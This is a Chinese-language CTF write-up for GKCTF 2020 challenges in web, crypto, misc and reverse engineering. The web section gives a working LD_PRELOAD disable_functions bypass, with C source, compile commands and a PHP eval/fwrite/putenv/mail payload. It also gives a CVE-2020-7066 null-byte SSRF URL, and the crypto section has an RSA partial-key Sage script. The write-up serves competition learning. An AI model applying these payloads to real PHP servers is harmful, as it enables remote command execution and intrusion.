GKCTF-2020部分WP

WEB

[GKCTF2020]CheckIN

题目:

思路:

打开直接审计源码,思路很简单。

构造一个ClassName类,传递的Ginkgo参数会赋值给code属性,并且经过base64解密后赋值给decode属性,之后再进行eval($this->decode)

尝试几次危险函数无果,system,exec,popen等,发现可以访问phpinfo()函数。

http://a6c678bc-ba49-4f9e-8af8-9690ff3e3f10.node3.buuoj.cn/?Ginkgo=cGhwaW5mbygpOw==

可以发现被禁用的函数。

想办法绕过这些被禁用的函数,这里使用LD_PRELOAD来绕过disable_function执行系统命令,可以参考这篇文章。

https://wooyun.js.org/drops/%E5%88%A9%E7%94%A8%E7%8E%AF%E5%A2%83%E5%8F%98%E9%87%8FLD_PRELOAD%E6%9D%A5%E7%BB%95%E8%BF%87php%20disable_function%E6%89%A7%E8%A1%8C%E7%B3%BB%E7%BB%9F%E5%91%BD%E4%BB%A4.html

编写本地hack.c文件

#include <stdlib.h>

#include <stdio.h>

#include <string.h>

 

void payload() {

system(“ls -al > /tmp/111”);

system(“/readflag > /tmp/222”);

}

 

int geteuid() {

if (getenv(“LD_PRELOAD”) == NULL) { return 0; }

unsetenv(“LD_PRELOAD”);

payload();

}

gcc -c -fPIC hack.c -o hack

gcc -shared hack -o hack.so

虽然绕过了很多函数,但是对文件操作的函数很多还是可以用的。将Ginkgo参数设置为eval($_POST[‘a’]);的base64编码,并传入a参数对文件进行操作。

a=$f=fopen(‘/tmp/hack2.so’,’wb’);fwrite($f,‘(hack.so文件数据)’);fclose($f);

hack.so文件数据可以通过python来转换,通过URL编码将16进制数写入。

再执行putenv(‘LD_PRELOAD=/tmp/hack2.so’);mail(“a@localhost, “”,””,””,””);

最后使用file_get_contents获取/tmp下的222文件内容即可。

[GKCTF2020]cve版签到

题目:

思路:

这道题是后来放了hint以后才做出来的。

Hint:cve-2020-7066

查看该cve,在一篇文章下找到了利用点。https://bugs.php.net/bug.php?id=79329

描述说在遇到空字符的时候会产生错误解析。

另外在http文件头中包含了hint。

因此只要构造空字符就可以访问localhost了。

另外这里不能访问localhost,需访问127.0.0.1

http://f442a43d-ac5a-498f-85e8-442faba0edd5.node3.buuoj.cn/?url=http://127.0.0.1%00.ctfhub.com

得到提示ip要以123结尾,修改payload

http://f442a43d-ac5a-498f-85e8-442faba0edd5.node3.buuoj.cn/?url=http://127.0.0.123%00.ctfhub.com

CRYPTO

[GKCTF2020]小学生的密码学

题目:

e(x)=11x+6(mod26)

密文:welcylk

(flag为base64形式)

思路:

仿射加密,在线工具直接解密可得。http://ctf.ssleye.com/affine.html

Base64加密一下就可以提交了

Flag为:flag{c29yY2VyeQ==}

[GKCTF2020]汉字的秘密

题目:

王壮 夫工 王中 王夫 由由井 井人 夫中 夫夫 井王 土土 夫由

土夫 井中 士夫 王工 王人 土由 由口夫

思路:

经验可知当铺密码,汉字转化为出头的笔画数,解密可得

69 74 62 67 118 83 72 77 86 55 71 57 82 57 64 63 51 107

用ascii转换后可得EJ>CvSHMV7G9R9@?3k

因为都是可见字符,所以猜测方法是对的,可能做了变形。

比较前三位EJ>C和FLAG的ascii码差值。

E=69 F=70

J=74 L=76

>=62 A=65

C=67 G=71

规律很好找,修改代码可得flag。

[GKCTF2020]babycrypto

题目:

# n:0xb119849bc4523e49c6c038a509a74cda628d4ca0e4d0f28e677d57f3c3c7d0d876ef07d7581fe05a060546fedd7d061d3bc70d679b6c5dd9bc66c5bdad8f2ef898b1e785496c4989daf716a1c89d5c174da494eee7061bcb6d52cafa337fc2a7bba42c918bbd3104dff62ecc9d3704a455a6ce282de0d8129e26c840734ffd302bec5f0a66e0e6d00b5c50fa57c546cff9d7e6a978db77997082b4cb927df9847dfffef55138cb946c62c9f09b968033745b5b6868338c64819a8e92a827265f9abd409359a9471d8c3a2631b80e5b462ba42336717700998ff38536c2436e24ac19228cd2d7a909ead1a8494ff6c3a7151e888e115b68cc6a7a8c6cf8a6c005L

# e:65537

# enc:1422566584480199878714663051468143513667934216213366733442059106529451931078271460363335887054199577950679102659270179475911101747625120544429262334214483688332111552004535828182425152965223599160129610990036911146029170033592055768983427904835395850414634659565092191460875900237711597421272312032796440948509724492027247376113218678183443222364531669985128032971256792532015051829041230203814090194611041172775368357197854451201260927117792277559690205342515437625417792867692280849139537687763919269337822899746924269847694138899165820004160319118749298031065800530869562704671435709578921901495688124042302500361

# p>>128<<128:0xe4e4b390c1d201dae2c00a4669c0865cc5767bc444f5d310f3cfc75872d96feb89e556972c99ae20753e3314240a52df5dccd076a47c6b5d11b531b92d901b2b512aeb0b263bbfd624fe3d52e5e238beeb581ebe012b2f176a4ffd1e0d2aa8c4d3a2656573b727d4d3136513a931428b00000000000000000000000000000000L

思路:

看p的操作就是rsa的已知高位攻击。百度一下就得到了payload。

n=0xb119849bc4523e49c6c038a509a74cda628d4ca0e4d0f28e677d57f3c3c7d0d876ef07d7581fe05a060546fedd7d061d3bc70d679b6c5dd9bc66c5bdad8f2ef898b1e785496c4989daf716a1c89d5c174da494eee7061bcb6d52cafa337fc2a7bba42c918bbd3104dff62ecc9d3704a455a6ce282de0d8129e26c840734ffd302bec5f0a66e0e6d00b5c50fa57c546cff9d7e6a978db77997082b4cb927df9847dfffef55138cb946c62c9f09b968033745b5b6868338c64819a8e92a827265f9abd409359a9471d8c3a2631b80e5b462ba42336717700998ff38536c2436e24ac19228cd2d7a909ead1a8494ff6c3a7151e888e115b68cc6a7a8c6cf8a6c005L

p=0xe4e4b390c1d201dae2c00a4669c0865cc5767bc444f5d310f3cfc75872d96feb89e556972c99ae20753e3314240a52df5dccd076a47c6b5d11b531b92d901b2b512aeb0b263bbfd624fe3d52e5e238beeb581ebe012b2f176a4ffd1e0d2aa8c4d3a2656573b727d4d3136513a931428b00000000000000000000000000000000

p_fake = p+0x100000000000000000000000000000000

pbits = 1024

kbits = pbits-576

pbar = p_fake & (2^pbits-2^kbits)

#print(“upper %d bits (of %d bits) is given” )% (pbits-kbits, pbits)

PR.<x> = PolynomialRing(Zmod(n))

f = x + pbar

x0 = f.small_roots(X=2^kbits, beta=0.4)[0] # find root < 2^kbits with factor >= n^0.4

print(x0 + pbar)

在线sage网站运行一下就可以得到p。https://sagecell.sagemath.org/

后面就是正常的rsa解密操作。

MISC

[GKCTF2020]签到

https://live.bilibili.com/772947

[GKCTF2020]Pokémon

下载一个GBA模拟器打开附件就可以开始玩了。

正常的废话流程,走到103号道路就可以看到用杂草摆出的flag。

Flag为:flag{PokEmon_14_CutE}

[GKCTF2020]问卷调查

RE

[GKCTF2020]Check_1n

下载附件打开玩一玩,

发现是一台电脑

用键盘操作点击开机键以后需要输入开机密码。

用ida查看得到密码为HelloWorld。

输入密码后进入电脑。

先打开flag文件,可以得到一串base64编码的字符串。

V2h5IGRvbid0IHlvdSB0cnkgdGhlIG1hZ2ljIGJyaWNrIGdhbWU=

解密后为:Why don’t you try the magic brick game

提示去玩其他游戏,最后在打砖块游戏里失败后就可以得到flag。